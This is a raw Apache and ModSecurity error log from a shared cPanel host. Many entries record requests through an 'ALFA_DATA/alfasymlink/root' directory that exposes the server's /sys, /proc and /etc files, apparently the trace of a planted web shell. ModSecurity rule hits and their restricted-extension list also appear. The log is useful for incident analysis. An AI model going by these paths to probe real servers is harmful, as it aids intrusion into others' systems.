[Mon Oct 26 05:44:21.064628 2026] [core:error] [pid 3000155:tid 3000155] (13)Permission denied: [client 85.208.96.198:54968] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/failover/sections/__bug_table
[Mon Oct 26 05:44:26.329575 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 44.194.139.149:16286] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:44:34.215206 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 44.223.193.255:50563] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:44:38.162298 2026] [core:error] [pid 3004471:tid 3004471] (13)Permission denied: [client 98.83.178.66:55905] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:0c/subsystem/uevent
[Mon Oct 26 05:44:41.140530 2026] [core:error] [pid 3000155:tid 3000155] (13)Permission denied: [client 185.191.171.17:41526] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/align
[Mon Oct 26 05:44:46.271771 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 54.84.93.8:35157] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:44:50.944843 2026] [core:error] [pid 3007564:tid 3007564] (13)Permission denied: [client 185.191.171.17:47308] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_inode_cache/red_zone
[Mon Oct 26 05:44:54.258019 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 50.16.72.185:16556] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:45:02.163622 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 184.73.167.217:14208] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:45:22.223290 2026] [core:error] [pid 3000048:tid 3000048] (13)Permission denied: [client 44.205.74.196:10161] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/dw_dmac_pci/new_id
[Mon Oct 26 05:45:30.194761 2026] [ssl:error] [pid 3008715:tid 3008715] (70014)End of file found: [client 184.73.195.18:21165] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:45:34.276758 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 34.239.197.197:16093] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:45:39.563192 2026] [core:error] [pid 3008715:tid 3008715] (13)Permission denied: [client 85.208.96.202:36792] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/remote_node_defrag_ratio
[Mon Oct 26 05:45:50.165472 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 3.220.148.166:40992] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:45:54.168100 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 54.80.73.122:48712] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:45:58.161863 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 54.166.126.132:20345] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:46:02.158092 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 34.235.239.240:6605] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:46:06.232981 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 100.28.133.214:64332] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:46:07.312590 2026] [security2:error] [pid 3003467:tid 3003467] [client 107.172.76.131:52762] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8hUZuIQjmomBX6543VkQAAAAA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 05:46:07.312674 2026] [security2:error] [pid 3003467:tid 3003467] [client 107.172.76.131:52762] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8hUZuIQjmomBX6543VkQAAAAA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 05:46:14.353246 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 34.206.249.188:34442] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:46:22.153881 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 44.195.145.102:61529] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:46:26.172497 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 54.204.62.163:49511] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:46:38.314562 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 18.209.137.234:47161] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:46:41.177983 2026] [security2:error] [pid 3008090:tid 3008090] [client 85.208.96.205:47990] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/FM801.conf"] [unique_id "at8hgegWcEZR_nEYzPi76QAAAAI"]
[Mon Oct 26 05:46:41.178380 2026] [security2:error] [pid 3008090:tid 3008090] [client 85.208.96.205:47990] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/FM801.conf"] [unique_id "at8hgegWcEZR_nEYzPi76QAAAAI"]
[Mon Oct 26 05:46:41.178843 2026] [security2:error] [pid 3008090:tid 3008090] [client 85.208.96.205:47990] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/FM801.conf"] [unique_id "at8hgegWcEZR_nEYzPi76QAAAAI"]
[Mon Oct 26 05:46:42.365701 2026] [core:error] [pid 3007564:tid 3007564] (13)Permission denied: [client 54.84.147.79:54844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/virtio2/driver/uevent
[Mon Oct 26 05:46:46.149280 2026] [ssl:error] [pid 3002822:tid 3002822] (5)Input/output error: [client 34.206.212.24:48271] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:46:58.148504 2026] [core:error] [pid 3008090:tid 3008090] (13)Permission denied: [client 18.209.137.234:41225] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/event0/subsystem/input1/event1/subsystem/input3/device/driver/serio1/driver/unbind
[Mon Oct 26 05:47:14.292680 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 44.215.61.66:9474] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:47:24.994258 2026] [security2:error] [pid 3000174:tid 3000174] [client 107.172.76.131:52768] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8hofEaLLDWHqkTH2BHxQAAABk"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 05:47:24.994321 2026] [security2:error] [pid 3000174:tid 3000174] [client 107.172.76.131:52768] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8hofEaLLDWHqkTH2BHxQAAABk"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 05:47:34.329685 2026] [core:error] [pid 3004471:tid 3004471] (13)Permission denied: [client 185.191.171.9:26910] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/hwcache_align
[Mon Oct 26 05:47:38.908117 2026] [security2:error] [pid 3000185:tid 3000185] [client 16.216.88.116:57344] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/resolved.conf"] [unique_id "at8hugDW2hE6vv9pQ57m_gAAACA"]
[Mon Oct 26 05:47:38.908558 2026] [security2:error] [pid 3000185:tid 3000185] [client 16.216.88.116:57344] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/resolved.conf"] [unique_id "at8hugDW2hE6vv9pQ57m_gAAACA"]
[Mon Oct 26 05:47:38.908890 2026] [security2:error] [pid 3000185:tid 3000185] [client 16.216.88.116:57344] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/resolved.conf"] [unique_id "at8hugDW2hE6vv9pQ57m_gAAACA"]
[Mon Oct 26 05:47:46.146675 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 54.156.55.147:26131] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:47:54.148507 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 34.239.197.197:59259] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:48:02.143412 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 3.221.244.28:12078] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:48:06.191043 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 3.217.82.254:42803] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:48:10.171043 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 3.223.134.5:49152] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:48:26.329460 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 54.147.182.90:12339] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:48:30.160762 2026] [ssl:error] [pid 3004471:tid 3004471] (70014)End of file found: [client 44.220.2.97:6454] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:48:38.143980 2026] [core:error] [pid 3003501:tid 3003501] (13)Permission denied: [client 3.210.114.189:36733] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1a/subsystem/drivers/ac/bind
[Mon Oct 26 05:48:45.425417 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 85.208.96.193:22718] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:48:54.155408 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 18.213.27.222:19682] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:48:58.151748 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 54.197.82.195:37187] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:48:58.200869 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 185.191.171.6:19526] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:49:00.412382 2026] [core:error] [pid 3004471:tid 3004471] (13)Permission denied: [client 85.208.96.210:59184] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/alloc_calls
[Mon Oct 26 05:49:02.158674 2026] [ssl:error] [pid 3008498:tid 3008498] (5)Input/output error: [client 52.71.216.196:5172] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:49:06.174053 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 52.54.15.103:24684] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:49:10.150760 2026] [ssl:error] [pid 3008715:tid 3008715] (70014)End of file found: [client 98.83.178.66:19618] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:49:18.150845 2026] [core:error] [pid 3008498:tid 3008498] (13)Permission denied: [client 54.235.191.179:1668] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/driver/cpu0/driver/cpu1/crash_notes
[Mon Oct 26 05:49:30.157108 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 98.82.38.120:63181] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:49:34.243401 2026] [ssl:error] [pid 3000181:tid 3000181] (22)Invalid argument: [client 52.5.242.243:58799] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:49:46.136894 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 100.28.49.152:46037] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:49:50.145203 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 52.70.209.13:15528] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:49:58.201494 2026] [core:error] [pid 3000181:tid 3000181] (13)Permission denied: [client 44.223.232.55:56707] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/cirrus/uevent
[Mon Oct 26 05:49:58.987816 2026] [core:error] [pid 3008498:tid 3008498] (13)Permission denied: [client 185.191.171.2:59018] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_file_cache/objects_partial
[Mon Oct 26 05:50:10.140775 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 54.159.18.27:29646] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:50:14.140233 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 100.28.133.214:58595] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:50:18.125989 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 34.234.200.207:53676] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:50:22.182873 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 34.227.234.246:17719] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:50:26.152345 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 54.225.181.161:43215] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:50:30.250368 2026] [ssl:error] [pid 2995190:tid 2995190] (5)Input/output error: [client 98.83.226.125:33237] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:50:34.156999 2026] [ssl:error] [pid 3004471:tid 3004471] (5)Input/output error: [client 52.54.249.218:17664] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:50:38.387391 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 98.84.131.195:20853] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:50:42.126592 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 3.94.156.104:9314] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:50:46.159218 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 18.214.124.6:65300] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:50:49.226030 2026] [core:error] [pid 3008715:tid 3008715] (13)Permission denied: [client 185.191.171.4:39498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:65/xmit_fifo_size
[Mon Oct 26 05:51:02.258459 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 3.93.211.16:30064] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:51:10.136467 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 52.44.174.136:22320] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:51:14.211330 2026] [ssl:error] [pid 3008715:tid 3008715] (70014)End of file found: [client 44.221.180.179:29671] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:51:16.615084 2026] [core:error] [pid 3004471:tid 3004471] (13)Permission denied: [client 185.191.171.1:35014] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP-Lite/slabs
[Mon Oct 26 05:51:18.139521 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 35.173.38.202:1772] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:51:22.320282 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 184.73.195.18:40549] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:51:30.152000 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 184.73.68.20:15588] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:51:34.140858 2026] [ssl:error] [pid 3008715:tid 3008715] (70014)End of file found: [client 44.193.115.232:52145] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:51:46.144476 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 23.21.179.120:26507] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:51:50.218557 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 50.19.221.48:61793] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:51:53.584823 2026] [core:error] [pid 3000048:tid 3000048] (13)Permission denied: [client 85.208.96.209:23620] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP-Lite/sanity_checks
[Mon Oct 26 05:52:06.244237 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 23.23.103.31:49432] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/subsystem/drivers/hpet/unbind
[Mon Oct 26 05:52:10.211710 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 44.212.106.171:61480] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:52:26.132091 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 34.195.248.30:39038] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:52:27.821129 2026] [core:crit] [pid 3008090:tid 3008090] (13)Permission denied: [client 139.162.88.198:52724] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 05:52:29.481762 2026] [security2:error] [pid 3002067:tid 3002067] [client 107.172.76.131:52765] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8i0Vsig8HGQd7z4PYTFgAAAAM"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 05:52:29.481843 2026] [security2:error] [pid 3002067:tid 3002067] [client 107.172.76.131:52765] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8i0Vsig8HGQd7z4PYTFgAAAAM"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 05:52:34.284636 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 100.29.164.178:22434] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:52:38.249402 2026] [ssl:error] [pid 3008715:tid 3008715] (70014)End of file found: [client 23.20.178.124:64022] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:52:42.143274 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 23.21.225.190:26940] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:52:46.290564 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 3.213.213.161:12959] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:52:57.014098 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 185.191.171.15:47182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:53:02.184510 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 3.90.73.206:36662] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:53:03.617181 2026] [security2:error] [pid 3000174:tid 3000174] [client 85.208.96.202:16236] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/mariadb.service.d/limits.conf"] [unique_id "at8i__EaLLDWHqkTH2BH3wAAABk"]
[Mon Oct 26 05:53:03.617553 2026] [security2:error] [pid 3000174:tid 3000174] [client 85.208.96.202:16236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/mariadb.service.d/limits.conf"] [unique_id "at8i__EaLLDWHqkTH2BH3wAAABk"]
[Mon Oct 26 05:53:03.617868 2026] [security2:error] [pid 3000174:tid 3000174] [client 85.208.96.202:16236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/systemd/system/mariadb.service.d/limits.conf"] [unique_id "at8i__EaLLDWHqkTH2BH3wAAABk"]
[Mon Oct 26 05:53:06.251323 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 184.73.195.18:5582] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:53:17.156035 2026] [security2:error] [pid 3000048:tid 3000048] [client 101.33.80.42:50370] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "at8jDRVJOpf1OCC_KBuZEwAAAAU"]
[Mon Oct 26 05:53:17.157066 2026] [authz_core:error] [pid 3000048:tid 3000048] [client 101.33.80.42:50370] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 05:53:18.143975 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 18.208.11.93:64009] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:53:22.190551 2026] [core:error] [pid 3007413:tid 3007413] (13)Permission denied: [client 3.223.181.32:45502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/LNXCPU:00/physical_node/crash_notes_size
